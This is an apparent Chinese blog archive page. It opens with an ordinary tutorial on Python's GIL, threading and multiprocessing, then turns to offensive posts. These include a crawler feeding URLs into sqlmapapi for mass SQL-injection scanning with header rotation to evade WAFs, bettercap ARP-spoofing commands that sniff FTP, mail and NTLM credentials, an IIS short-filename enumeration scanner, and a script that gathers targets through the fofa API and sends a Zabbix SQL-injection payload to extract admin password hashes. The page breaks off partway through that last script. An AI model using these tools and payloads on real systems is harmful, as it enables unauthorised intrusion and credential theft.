Python中的GIL、多进程和多线程

发布时间:September 7, 2015 // 分类:开发笔记,代码学习,python,生活琐事 // No Comments

1 GIL(Global Interpretor Lock,全局解释器锁)

关于GIL的部分信息参见

http://www.jeffknupp.com/blog/2012/03/31/pythons-hardest-problem/
http://www.oschina.net/translate/pythons-hardest-problem
https://news.ycombinator.com/item?id=5815567
http://www.dabeaz.com/GIL/

如果其他条件不变,Python程序的执行速度直接与解释器的“速度”相关。不管你怎样优化自己的程序,你的程序的执行速度还是依赖于解释器执行你的程序的效率。
目前来说,多线程执行还是利用多核系统最常用的方式。尽管多线程编程大大好于“顺序”编程,不过即便是仔细的程序员也没法在代码中将并发性做到最好。
对于任何Python程序,不管有多少的处理器,任何时候都总是只有一个线程在执行。
事实上,这个问题被问得如此频繁以至于Python的专家们精心制作了一个标准答案:”不要使用多线程,请使用多进程。“但这个答案比那个问题更加让人困惑。
GIL对诸如当前线程状态和为垃圾回收而用的堆分配对象这样的东西的访问提供着保护。然而,这对Python语言来说没什么特殊的,它需要使用一个GIL。这是该实现的一种典型产物。现在也有其它的Python解释器(和编译器)并不使用GIL。虽然,对于CPython来说,自其出现以来已经有很多不使用GIL的解释器。
不管某一个人对Python的GIL感觉如何,它仍然是Python语言里最困难的技术挑战。想要理解它的实现需要对操作系统设计、多线程编程、C语言、解释器设计和CPython解释器的实现有着非常彻底的理解。单是这些所需准备的就妨碍了很多开发者去更彻底的研究GIL。

2 threading

threading 模块提供比/基于 thread 模块更高层次的接口;如果此模块由于 thread 丢失而无法使用,可以使用 dummy_threading 来代替。

CPython implementation detail: In CPython, due to the Global Interpreter Lock, only one thread can execute Python code at once (even though certain performance-oriented libraries might overcome this limitation). If you want your application to make better use of the computational resources of multi-core machines, you are advised to use multiprocessing. However, threading is still an appropriate model if you want to run multiple I/O-bound tasks simultaneously.
 

import threading, zipfile

class AsyncZip(threading.Thread):
    def __init__(self, infile, outfile):
        threading.Thread.__init__(self)
        self.infile = infile
        self.outfile = outfile
    def run(self):
        f = zipfile.ZipFile(self.outfile, 'w', zipfile.ZIP_DEFLATED)
        f.write(self.infile)
        f.close()
        print 'Finished background zip of: ', self.infile

background = AsyncZip('mydata.txt', 'myarchive.zip')
background.start()
print 'The main program continues to run in foreground.'

background.join()    # Wait for the background task to finish
print 'Main program waited until background was done.'

2.1 创建线程

import threading
import datetime

class ThreadClass(threading.Thread):
     def run(self):
         now = datetime.datetime.now()
         print "%s says Hello World at time: %s" % (self.getName(), now)

for i in range(2):
    t = ThreadClass()
    t.start()

2.2 使用线程队列

import Queue
import threading
import urllib2
import time
from BeautifulSoup import BeautifulSoup

hosts = ["http://yahoo.com", "http://google.com", "http://amazon.com",
        "http://ibm.com", "http://apple.com"]

queue = Queue.Queue()
out_queue = Queue.Queue()

class ThreadUrl(threading.Thread):
    """Threaded Url Grab"""
    def __init__(self, queue, out_queue):
        threading.Thread.__init__(self)
        self.queue = queue
        self.out_queue = out_queue

    def run(self):
        while True:
            #grabs host from queue
            host = self.queue.get()

            #grabs urls of hosts and then grabs chunk of webpage
            url = urllib2.urlopen(host)
            chunk = url.read()

            #place chunk into out queue
            self.out_queue.put(chunk)

            #signals to queue job is done
            self.queue.task_done()

class DatamineThread(threading.Thread):
    """Threaded Url Grab"""
    def __init__(self, out_queue):
        threading.Thread.__init__(self)
        self.out_queue = out_queue

    def run(self):
        while True:
            #grabs host from queue
            chunk = self.out_queue.get()

            #parse the chunk
            soup = BeautifulSoup(chunk)
            print soup.findAll(['title'])

            #signals to queue job is done
            self.out_queue.task_done()

start = time.time()
def main():

    #spawn a pool of threads, and pass them queue instance
    for i in range(5):
        t = ThreadUrl(queue, out_queue)
        t.setDaemon(True)
        t.start()

    #populate queue with data
    for host in hosts:
        queue.put(host)

    for i in range(5):
        dt = DatamineThread(out_queue)
        dt.setDaemon(True)
        dt.start()


    #wait on the queue until everything has been processed
    queue.join()
    out_queue.join()

main()
print "Elapsed Time: %s" % (time.time() - start)

3 dummy_threading(threading的备用方案)

dummy_threading 模块提供完全复制了threading模块的接口,如果无法使用thread,则可以用这个模块替代.

使用方法:

try:
    import threading as _threading
except ImportError:
    import dummy_threading as _threading

4 thread

在Python3中叫 _thread,应该尽量使用 threading 模块替代。

5 dummy_thread(thead的备用方案)

dummy_thread 模块提供完全复制了thread模块的接口,如果无法使用thread,则可以用这个模块替代.

在Python3中叫 _dummy_thread, 使用方法:

try:
    import thread as _thread
except ImportError:
    import dummy_thread as _thread

最好使用 dummy_threading 来代替.

6 multiprocessing(基于thread接口的多进程)

https://docs.python.org/2/library/multiprocessing.html

使用 multiprocessing 模块创建子进程而不是线程来克服GIL引起的问题.

from multiprocessing import Pool

def f(x):
    return x*x

if __name__ == '__main__':
    p = Pool(5)
    print(p.map(f, [1, 2, 3]))

6.1 Process类
创建进程是使用Process类:

from multiprocessing import Process

def f(name):
    print 'hello', name

if __name__ == '__main__':
    p = Process(target=f, args=('bob',))
    p.start()
    p.join()

6.2 进程间通信
Queue 方式:

from multiprocessing import Process, Queue

def f(q):
    q.put([42, None, 'hello'])

if __name__ == '__main__':
    q = Queue()
    p = Process(target=f, args=(q,))
    p.start()
    print q.get()    # prints "[42, None, 'hello']"
    p.join()

Pipe 方式:

from multiprocessing import Process, Pipe

def f(conn):
    conn.send([42, None, 'hello'])
    conn.close()

if __name__ == '__main__':
    parent_conn, child_conn = Pipe()
    p = Process(target=f, args=(child_conn,))
    p.start()
    print parent_conn.recv()   # prints "[42, None, 'hello']"

6.3 同步
添加锁:

from multiprocessing import Process, Lock

def f(l, i):
    l.acquire()
    print 'hello world', i
    l.release()

if __name__ == '__main__':
    lock = Lock()

    for num in range(10):
        Process(target=f, args=(lock, num)).start()

6.4 共享状态
应该尽量避免共享状态.

共享内存方式:

from multiprocessing import Process, Value, Array

def f(n, a):
    n.value = 3.1415927
    for i in range(len(a)):
        a[i] = -a[i]

if __name__ == '__main__':
    num = Value('d', 0.0)
    arr = Array('i', range(10))

    p = Process(target=f, args=(num, arr))
    p.start()
    p.join()

    print num.value
    print arr[:]

Server进程方式:

from multiprocessing import Process, Manager

def f(d, l):
    d[1] = '1'
    d['2'] = 2
    d[0.25] = None
    l.reverse()

if __name__ == '__main__':
    manager = Manager()

    d = manager.dict()
    l = manager.list(range(10))

    p = Process(target=f, args=(d, l))
    p.start()
    p.join()

    print d
    print l

第二种方式支持更多的数据类型,如list, dict, Namespace, Lock, RLock, Semaphore, BoundedSemaphore, Condition, Event, Queue, Value ,Array.

6.5 Pool类
通过Pool类可以建立进程池:

from multiprocessing import Pool

def f(x):
    return x*x

if __name__ == '__main__':
    pool = Pool(processes=4)              # start 4 worker processes
    result = pool.apply_async(f, [10])    # evaluate "f(10)" asynchronously
    print result.get(timeout=1)           # prints "100" unless your computer is *very* slow
    print pool.map(f, range(10))          # prints "[0, 1, 4,..., 81]"

7 multiprocessing.dummy

在官方文档只有一句话:

multiprocessing.dummy replicates the API of multiprocessing but is no more than a wrapper around the threading module.
multiprocessing.dummy 是 multiprocessing 模块的完整克隆,唯一的不同在于 multiprocessing 作用于进程,而 dummy 模块作用于线程;
可以针对 IO 密集型任务和 CPU 密集型任务来选择不同的库. IO 密集型任务选择multiprocessing.dummy,CPU 密集型任务选择multiprocessing.

import urllib2 
from multiprocessing.dummy import Pool as ThreadPool 

urls = [
    'http://www.python.org', 
    'http://www.python.org/about/',
    'http://www.onlamp.com/pub/a/python/2003/04/17/metaclasses.html',
    'http://www.python.org/doc/',
    'http://www.python.org/download/',
    'http://www.python.org/getit/',
    'http://www.python.org/community/',
    'https://wiki.python.org/moin/',
    'http://planet.python.org/',
    'https://wiki.python.org/moin/LocalUserGroups',
    'http://www.python.org/psf/',
    'http://docs.python.org/devguide/',
    'http://www.python.org/community/awards/'
    # etc.. 
    ]

# Make the Pool of workers
pool = ThreadPool(4) 
# Open the urls in their own threads
# and return the results
results = pool.map(urllib2.urlopen, urls)
#close the pool and wait for the work to finish 
pool.close() 
pool.join() 

results = [] 
for url in urls:
   result = urllib2.urlopen(url)
   results.append(result)

8 后记

如果选择多线程,则应该尽量使用 threading 模块,同时注意GIL的影响
如果多线程没有必要,则使用多进程模块 multiprocessing ,此模块也通过 multiprocessing.dummy 支持多线程.
分析具体任务是I/O密集型,还是CPU密集型

参考:

爬虫结合sqlmapi判断注入

发布时间:September 5, 2015 // 分类:开发笔记,代码学习,python,生活琐事 // No Comments

最近在弄点蛋疼的东西.爬虫,扫描。扫描交给sqlmapapi来进行.现在的资料不是很多,但是还是可以找到一些

《使用sqlmapapi.py批量化扫描实践》http://drops.wooyun.org/tips/6653 

看看他所封装的sqlmapapi的类

#!/usr/bin/python
#-*-coding:utf-8-*-
import requests
import time
import json


class AutoSqli(object):

    """
    使用sqlmapapi的方法进行与sqlmapapi建立的server进行交互

    By Manning
    """

    def __init__(self, server='', target='',data = '',referer = '',cookie = ''):
        super(AutoSqli, self).__init__()
        self.server = server
        if self.server[-1] != '/':
            self.server = self.server + '/'
        self.target = target
        self.taskid = ''
        self.engineid = ''
        self.status = ''
        self.data = data
        self.referer = referer
        self.cookie = cookie
        self.start_time = time.time()

    #新建扫描任务    
    def task_new(self):
        self.taskid = json.loads(
            requests.get(self.server + 'task/new').text)['taskid']
        print 'Created new task: ' + self.taskid
        #得到taskid,根据这个taskid来进行其他的
        if len(self.taskid) > 0:
            return True
        return False

    #删除扫描任务
    def task_delete(self):
        if json.loads(requests.get(self.server + 'task/' + self.taskid + '/delete').text)['success']:
            print '[%s] Deleted task' % (self.taskid)
            return True
        return False

    #扫描任务开始
    def scan_start(self):
        headers = {'Content-Type': 'application/json'}
        #需要扫描的地址
        payload = {'url': self.target}
        url = self.server + 'scan/' + self.taskid + '/start'
        #http://127.0.0.1:8557/scan/xxxxxxxxxx/start
        t = json.loads(
            requests.post(url, data=json.dumps(payload), headers=headers).text)
        self.engineid = t['engineid']
        if len(str(self.engineid)) > 0 and t['success']:
            print 'Started scan'
            return True
        return False

    #扫描任务的状态
    def scan_status(self):
        self.status = json.loads(
            requests.get(self.server + 'scan/' + self.taskid + '/status').text)['status']
        if self.status == 'running':
            return 'running'
        elif self.status == 'terminated':
            return 'terminated'
        else:
            return 'error'

    #扫描任务的细节
    def scan_data(self):
        self.data = json.loads(
            requests.get(self.server + 'scan/' + self.taskid + '/data').text)['data']
        if len(self.data) == 0:
            print 'not injection:\t'
        else:
            print 'injection:\t' + self.target

    #扫描的设置,主要的是参数的设置
    def option_set(self):
        headers = {'Content-Type': 'application/json'}
        option = {"options": {
                    "smart": True,
                    ...
                    }
                 }
        url = self.server + 'option/' + self.taskid + '/set'
        t = json.loads(
            requests.post(url, data=json.dumps(option), headers=headers).text)
        print t

    #停止扫描任务
    def scan_stop(self):
        json.loads(
            requests.get(self.server + 'scan/' + self.taskid + '/stop').text)['success']

    #杀死扫描任务进程
    def scan_kill(self):
        json.loads(
            requests.get(self.server + 'scan/' + self.taskid + '/kill').text)['success']

    def run(self):
        if not self.task_new():
            return False
        self.option_set()
        if not self.scan_start():
            return False
        while True:
            if self.scan_status() == 'running':
                time.sleep(10)
            elif self.scan_status() == 'terminated':
                break
            else:
                break
            print time.time() - self.start_time
            if time.time() - self.start_time > 3000:
                error = True
                self.scan_stop()
                self.scan_kill()
                break
        self.scan_data()
        self.task_delete()
        print time.time() - self.start_time

if __name__ == '__main__':
    t = AutoSqli('http://127.0.0.1:8774', 'http://192.168.3.171/1.php?id=1')
    t.run()

它的工作过程是

    get请求创建任务, 获取到任务id
    get请求特定的任务id设置参数
    post请求特定的任务id开始扫描指定url
    get请求特定的任务id获取状态
    get请求特定的任务id获取测试结果
    get请求特定的任务id删除任务

进入到lib/utils/api.py的server类,可以发现通过向server提交数据进行与服务的交互。 一共分为3种类型。

    Users' methods 用户方法
    Admin function 管理函数
    sqlmap core interact functions 核心交互函数
可以提交数据的种类如下。

用户方法

    @get("/task/new")
    @get("/task//delete")
管理函数

    @get("/admin//list")
    @get("/admin//flush")
核心交互函数

    @get("/option//list")
    @post("/option//get")
    @post("/option//set")
    @post("/scan//start")
    @get("/scan//stop")
    @get("/scan//kill")
    @get("/scan//status")
    @get("/scan//data")
    @get("/scan//log//")
    @get("/scan//log")
    @get("/download///")
最后对于是否是有注入漏洞, 代码里面是这么判断的, 如果返回的字典中, data里面有值, 那么就有注入

然后从https://github.com/smarttang/w3a_Scan_Console/blob/master/module/sprider_module.py里面得到爬虫模块.稍微整合一下

#!/usr/bin/python
# vim: set fileencoding=utf-8:

import sys
import urllib2
import re
from BeautifulSoup import BeautifulSoup

import autosql

class SpriderUrl:
    # 初始化
    def __init__(self,url):
        self.url=url
        #self.con=Db_Connector('sprider.ini')

#获得目标url的第一次url清单
    def get_self(self):
        urls=[]
        try:
            body_text=urllib2.urlopen(self.url).read()
        except:
            print "[*] Web Get Error:checking the Url"
        soup=BeautifulSoup(body_text)
        links=soup.findAll('a')
        for link in links:
            # 获得了目标的url但还需要处理
            _url=link.get('href')
             # 接着对其进行判断处理
             # 先判断它是否是无意义字符开头以及是否为None值
             # 判断URL后缀,不是列表的不抓取
            if re.match('^(javascript|:;|#)',_url) or _url is None or re.match('.(jpg|png|bmp|mp3|wma|wmv|gz|zip|rar|iso|pdf|txt|db)$',_url):
                continue
            # 然后判断它是不是http|https开头,对于这些开头的都要判断是否是本站点, 不做超出站点的爬虫
            if re.match('^(http|https)',_url):
                if not re.match('^'+self.url,_url):
                    continue
                else:
                    urls.append(_url)
            else:
                urls.append(self.url+_url)
        rst=list(set(urls))
        for rurl in rst:
            try:
                self.sprider_self_all(rurl)
                # 进行递归,但是缺点太明显了,会对全部的页面进行重复递归。然后递交进入autosql
                # AutoSqli('http://127.0.0.1:8775', rurl).run
            except:
                print "spider error"

    def sprider_self_all(self,domain):
        urls=[]
        try:
            body_text=urllib2.urlopen(domain).read()
        except:
            print "[*] Web Get Error:checking the Url"
            sys.exit(0)
        soup=BeautifulSoup(body_text)
        links=soup.findAll('a')
        for link in links:
            # 获得了目标的url但还需要处理
            _url=link.get('href')
             # 接着对其进行判断处理
             # 先判断它是否是无意义字符开头以及是否为None值
             # 判断URL后缀,不是列表的不抓取
            try:
                if re.match('^(javascript|:;|#)',str(_url)) or str(_url) is None or re.match('.(jpg|png|bmp|mp3|wma|wmv|gz|zip|rar|iso|pdf|txt|db)$',str(_url)):
                    continue
            except TypeError:
                print "[*] Type is Error! :"+str(_url)
                continue
            # 然后判断它是不是http|https开头,对于这些开头的都要判断是否是本站点, 不做超出站点的爬虫
            if re.match('^(http|https)',_url):
                if not re.match('^'+self.url,_url):
                    continue
                else:
                    urls.append(_url)
            else:
                urls.append(self.url+_url)
        res=list(set(urls))
        for rurl in res:
            try:
                print rurl
                #AutoSqli('http://127.0.0.1:8775', rurl).run
            except:
                print "spider error"

spi="http://0day5.com/"
t=SpriderUrl(spi)
# # 第一次捕获
t.get_self()

最好的办法还是存进数据库里面,然后检查是否重复。

        for rurl in res:
            if self.con.find_item("select * from url_sprider where url='"+rurl+"' and domain='"+self.url+"'"):
                continue
            else:
                try:
                    self.con.insert_item("insert into url_sprider(url,tag,domain)values('"+rurl+"',0,'"+self.url+"')")
                except:
                    print "[*] insert into is Error!"

 

 

最近依旧在整理这爬虫的资料:

1.针对很多爬虫有明显特征的办法就是指定相对应的User-Agent

2.针对部分WAF则可以采取来路来进行Bypass。如果是百度的呢

改进了下

    USER_AGENTS = [
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)",
    "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
    "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)",
    "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)",
    "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)",
    "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)",
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)",
    "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6",
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1",
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0",
    "Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5",
    "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20",
    "Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52",
    ]

    REFERERS = [
    "https://www.baidu.com",
    "http://www.baidu.com",
    "https://www.google.com.hk",
    "http://www.so.com",
    "http://www.sogou.com",
    "http://www.soso.com",
    "http://www.bing.com",
    ]

    default_cookies = {}
    #随机User-Agent.
    default_headers = {
        'User-Agent': random.choice(USER_AGENTS),
        'Accept': 'Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Cache-Control': 'max-age=0',
        'referer': random.choice(REFERERS),
        'Accept-Charset': 'GBK,utf-8;q=0.7,*;q=0.3',
    }

然后依旧是过滤的问题,就是相似度检查~然后有效的爬虫,这样得到的结果可以更加精准一些。这个算法主要是依靠对URL的拆解与对拆解对象的HASH,这个算法适用类似的需求常见。这个算法是将一个URL拆解为三个维度,第一个维度是netloc,第二个维度是path的各项长度,第三个维度是query对象的参数排序后列表。通过一个数据结构对以上三个维度组合,构建一个可hash的对象。[来自:http://drops.wooyun.org/tips/5462]

#!/usr/bin/env python
# coding:utf-8
import time
import os
import urlparse
import hashlib
import sys
sys.path.append("..")

from config.config import *
reload(sys) 
sys.setdefaultencoding("utf-8") 

SIMILAR_SET = set()
REPEAT_SET = set()

'''
2015.3.30
分清楚爬虫 什么是聚焦 什么是过滤
聚焦:  如果keyword在url则返回True 否则返回False

过滤:  如果keyword在url则返回False 否则返回True
'''


def format(url):
    '''
    策略是构建一个三元组
    第一项为url的netloc
    第二项为path中每项的拆分长度
    第三项为query的每个参数名称(参数按照字母顺序排序,避免由于顺序不同而导致的重复问题)
    '''
    if urlparse.urlparse(url)[2] == '':
        url = url+'/'

    url_structure = urlparse.urlparse(url)
    netloc = url_structure[1]
    path = url_structure[2]
    query = url_structure[4]
    
    temp = (netloc,tuple([len(i) for i in path.split('/')]),tuple(sorted([i.split('=')[0] for i in query.split('&')])))
    #print temp
    return temp


def check_netloc_is_ip(netloc):
    '''
    如果url的netloc为ip形式
    return True
    否则
    return False
    '''
    flag =0
    t = netloc.split('.')
    for i in t:
        try:
            int(i)
            flag += 1
        except Exception, e:
            break
    if flag == 4:
        return True
    
    return False

def url_domain_control(url,keyword):
    '''
    URL域名控制  聚焦

    True url符合域名判断
    False url不符合域名判断

    1,keyword可以是list或者str
    2,如果url的netloc为ip形式,return True

    '''
    t = format(url)
    if check_netloc_is_ip(t[0]):
        return True

    elif str(type(keyword)) == "<type 'list'>":
        for i in keyword:
            if i.lower() in t[0].lower():
                return True

    elif str(type(keyword)) == "<type 'str'>":
        if keyword.lower() in t[0].lower():
            return True
    return False

def url_domain_control_ignore(url,keyword):
    '''
    URL域名控制  过滤

    True 忽略关键字不在url中
    False 忽略关键字在url中

    例如:
    忽略blog,如果域名的netloc内有blog,则返回false
    '''
    t = format(url)
    for i in keyword:
        if i in t[0].lower():
            return False
    return True

def url_similar_control(url):
    '''
    URL相似性控制
    
    True url未重复
    False url重复
    '''
    t = format(url)
    if t not in SIMILAR_SET:
        SIMILAR_SET.add(t)
        return True
    return False


def url_format_control(url):
    '''
    URL格式控制  过滤

    True url符合格式判断
    False url不符合格式判断
    '''

    if '}' not in url and '404' not in url and url[0].lower() == 'h' and '/////' not in url and len(format(url)[1]) < 6:
        if len(format(url)[2]) > 0:
            for i in format(url)[2]:
                if len(i) > 20:
                    return False
        if 'viewthread' in url or 'forumdisplay' in url:
            return False
        return True
    return False

def url_custom_control(url):
    '''
    URL自定义关键字控制  过滤
    True 
    False
    '''
    for i in CUSTOM_KEY:
        if i in url:
            return False
    return True

def url_custom_focus_control(url,focuskey):
    '''
    URL自定义关键字控制  聚焦
    True 符合聚焦策略
    False
    '''
    if len(focuskey) == 0:
        return True
    for i in focuskey:
        if i in url:
            return True
    return False

def url_repeat_control(url):
    '''
    URL重复控制

    True url未重复
    False url重复
    '''
    if url not in REPEAT_SET:
        REPEAT_SET.add(url)
        return True
    return False

def url_filter_similarity(url,keyword,ignore_keyword,focuskey):
    if url_format_control(url) and url_similar_control(url) \
                and url_domain_control(url,keyword) and url_domain_control_ignore(url,IGNORE_KEY_WORD) \
                    and url_custom_control(url) and url_custom_focus_control(url,focuskey):
        return True
    else:
        return False
def url_filter_no_similarity(url,keyword,ignore_keyword,focuskey):
    if url_format_control(url) and url_repeat_control(url) \
                and url_domain_control(url,keyword) and url_domain_control_ignore(url,IGNORE_KEY_WORD) \
                    and url_custom_control(url) and url_custom_focus_control(url,focuskey):
        return True
    else:
        return False


if __name__ == "__main__": 
    print url_format_control("http://www.gznu.edu.cn")

 

中间人攻击框架 bettercap 笔记

发布时间:August 26, 2015 // 分类:linux,生活琐事 // No Comments

Mac os x
git clone https://github.com/evilsocket/bettercap
cd bettercap
gem build bettercap.gemspec
sudo gem install bettercap*.gem
brew install libtins

如果出现了

Unable to resolve dependencies: bettercap requires colorize (~> 0.7.5), packetfu (~> 1.1.10), pcaprub (~> 0.12.0)

那么表示是依赖没有安装好.那么换源继续安装

gem sources —remove https://rubygems.org/
gem sources -a https://ruby.taobao.org/
gem sources -l
sudo gem install colorize
sudo gem install pcaprub
sudo gem install packetfu

 

Linux

安装Ruby

sudo apt-get install ruby-dev libpcap-dev

安装bettercap

git clone https://github.com/evilsocket/bettercap
cd bettercap
gem build bettercap.gemspec
sudo gem install bettercap*.gem
用法
-I, --interface IFACE 指定Network interface name,默认eth0

-S, --spoofer NAME 指定欺骗模块,此参数默认为ARP,目前仅支持ARP,新版本会添加更多选项

-T, --target ADDRESS 指定单一ip,如果未设置,则代表所有子网,子网所有主机自动扫描,简单高效,十分推荐
-O, --log LOG_FILE 日志功能

-D, --debug 调试功能,会将每一步操作详细记录,便于调试

-L, --local 解析流经本机的所有数据包(此操作会开启嗅探器),此参数默认为关闭

-X, --sniffer 开启嗅探器. --sniffer-pcap FILE 将数据包保存为PCAP文件,可用Wireshark打开(此操作会开启嗅探器) --sniffer-filter EXPRESSION 配置嗅探器使用BPF过滤器(此操作会开启嗅探器)

-P, --parsers PARSERS 指定数据包(此操作会开启嗅探器),支持NTLMSS, IRC, POST, URL, FTP, HTTPS, HTTPAUTH, MAIL,此参数默认为所有 --no-discovery 只使用当前的ARP缓存,不去扫描其他主机,此参数默认为关闭 --no-spoofing 关闭欺骗模块,也可以使用参数--spoofer NONE代替 --proxy 启用HTTP代理并且重定向所有HTTP请求至本机,此参数默认为关闭 --proxy-port PORT 设置HTTP代理端口,此参数默认为8080 --proxy-module MODULE 指定加载的Ruby模块 --httpd 开启HTTP服务器,此参数默认为关闭 --httpd-port PORT 指定HTTP server port, 此参数默认为8081. --httpd-path PATH 指定HTTP server path,此参数默认为 ./.

-h, --help 英文帮助
示例

默认模式,启用所有功能进行内网Arp欺骗

sudo bettercap -X

截取指定数据包

sudo bettercap -X -P "FTP,HTTPAUTH,MAIL,NTLMSS"

嗅探HTTP通信并保存为pcap文件

sudo bettercap --sniffer --sniffer-pcap=http.pcap --sniffer-filter "tcp and dst port 80"

启用所有功能进行嗅探,并保存为pcap文件

sudo bettercap --sniffer --sniffer-pcap=http.pcap --sniffer-filter "tcp and dst port 80"

 

http://www.1990day.com/bettercap-mitm-framework/

IIS短文件名扫描工具

发布时间:August 25, 2015 // 分类:开发笔记,工作日志,运维工作,linux,windows,python // No Comments

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import httplib
import urlparse
import string
import threading
import Queue
import time
import string


class Scanner():
    def __init__(self, target):
        self.target = target
        self.scheme, self.netloc, self.path, params, query, fragment = urlparse.urlparse(target)

        if self.path[-1:] != '/':    # ends with slash
            self.path += '/'
        self.payloads = list('abcdefghijklmnopqrstuvwxyz0123456789_-')
        self.files = []
        self.dirs = []
        self.queue = Queue.Queue()
        self.lock = threading.Lock()
        self.threads = []
    

    def _conn(self):
        try:
            if self.scheme == 'https':
                conn = httplib.HTTPSConnection(self.netloc)
            else:
                conn = httplib.HTTPConnection(self.netloc)
            return conn
        except Exception, e:
            print '[Exception in function _conn]', e
            return None



    # fetch http response status code
    def _get_status(self, path):
        try:
            conn = self._conn()
            conn.request('GET', path)
            status = conn.getresponse().status
            conn.close()
            return status
        except Exception, e:
            raise Exception('[Exception in function _get_status] %s' % str(e) )



    # test weather the server is vulerable
    def is_vul(self):
        try:
            status_1 = self._get_status(self.path + '/*~1****/a.aspx')    # an existed file/folder
            status_2 = self._get_status(self.path + '/san1e*~1****/a.aspx')    # not existed file/folder
            if status_1 == 404 and status_2 == 400:
                return True
            return False
        except Exception, e:
            raise Exception('[Exception in function is_val] %s' % str(e) )



    def run(self):
        # start from root path
        for payload in self.payloads:
            self.queue.put( (self.path + payload, '****') )    # filename, extention
        for i in range(10):  
            t = threading.Thread(target=self._scan_worker)
            self.threads.append(t)
            t.start()

    def report(self):
        for t in self.threads:
            t.join()
        self._print('-'* 64)
        for d in self.dirs:
            self._print('Dir:  ' + d)
        for f in self.files:
            self._print('File: ' + f)
        self._print('-'*64)
        self._print('%d Directories, %d Files found in toal' % (len(self.dirs), len(self.files)) )


    def _print(self, msg):
        self.lock.acquire()
        print msg
        self.lock.release()

    def _scan_worker(self):
        while True:
            try:
                url, ext = self.queue.get(timeout=3)
                status = self._get_status(url + '*~1' + ext + '/1.aspx')
                if status == 404:
                    self._print('Found ' +  url + ext + '\t[scan in progress]')

                    if len(url) - len(self.path)< 6:    # enum first 6 chars only
                        for payload in self.payloads:
                            self.queue.put( (url + payload, ext) )
                    else:
                        if ext == '****':    # begin to scan extention
                            for payload in string.ascii_lowercase:
                                self.queue.put( (url, '*' + payload + '**') )
                            self.queue.put( (url,'') )    # also it can be a folder
                        elif ext.count('*') == 3:
                            for payload in string.ascii_lowercase:
                                self.queue.put( (url, '*' + ext[1] + payload + '*') )
                        elif ext.count('*') == 2:
                            for payload in string.ascii_lowercase:
                                self.queue.put( (url, '*' + ext[1] + ext[2] + payload ) )
                        elif ext == '':
                            self.dirs.append(url + '~1')
                            self._print('Found Dir ' +  url + '~1\t[Done]')

                        elif ext.count('*') == 1:
                            self.files.append(url + '~1.' + ext[1:])
                            self._print('Found File ' + url + '~1.' + ext[1:] + '\t[Done]')
            except Exception,e:
                break

if len(sys.argv) == 1:
    print 'Usage: %s target' % sys.argv[0]
    sys.exit()

target = sys.argv[1]
s = Scanner(target)
if not s.is_vul():
    print 'Sorry, server is not vulerable'
    sys.exit(0)

print 'server is vulerable, please wait, scanning...'
s.run()
s.report()

效果图

python采集fofa批量扫描zabbix

发布时间:August 17, 2015 // 分类:开发笔记,linux,python,windows // No Comments

主要是利用fofa的采集功能,然后提取地址,再加载payload.把结果从里面提取出来

#!/usr/bin/python
#-*- encoding:utf-8 -*-

import urllib2,urllib,cookielib 
import re,sys 
import base64 
import os,json 
 
def vulwebsearch(keywords): 
    vulhostlist=[] 
    urlenkeywords=urllib2.quote(keywords) 
    searchurl="http://fofa.so/api/result?qbase64="+base64.b64encode(keywords)+"&amp;key=d69f306296e8ca95fded42970400ad23&amp;email=her0m@qq.com"
    req=urllib2.urlopen(searchurl) 
    restring=req.read() 
    restring=json.loads(restring) 
    zabbixsqli(restring['results']) 
        
def zabbixsqli(vulhostlist): 
    for vulhost in vulhostlist: 
        if not vulhost.startswith('http'): 
            vulhost="http://"+vulhost 
        zabbix_url=vulhost   
        try: 
            payload="""/httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28alias,0x7e,passwd,0x7e%29%20as%20char%29,0x7e%29%29%20from%20zabbix.users%20LIMIT%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29"""
              
            content=urllib.urlopen(zabbix_url)   
            if content.getcode()==200: 
                fzadminmd5_url=zabbix_url+payload 
                req=urllib2.urlopen(fzadminmd5_url) 
                html=req.read() 
                adminmd5=re.findall("\~.*\~\~",html) 
                if len(adminmd5)==1: 
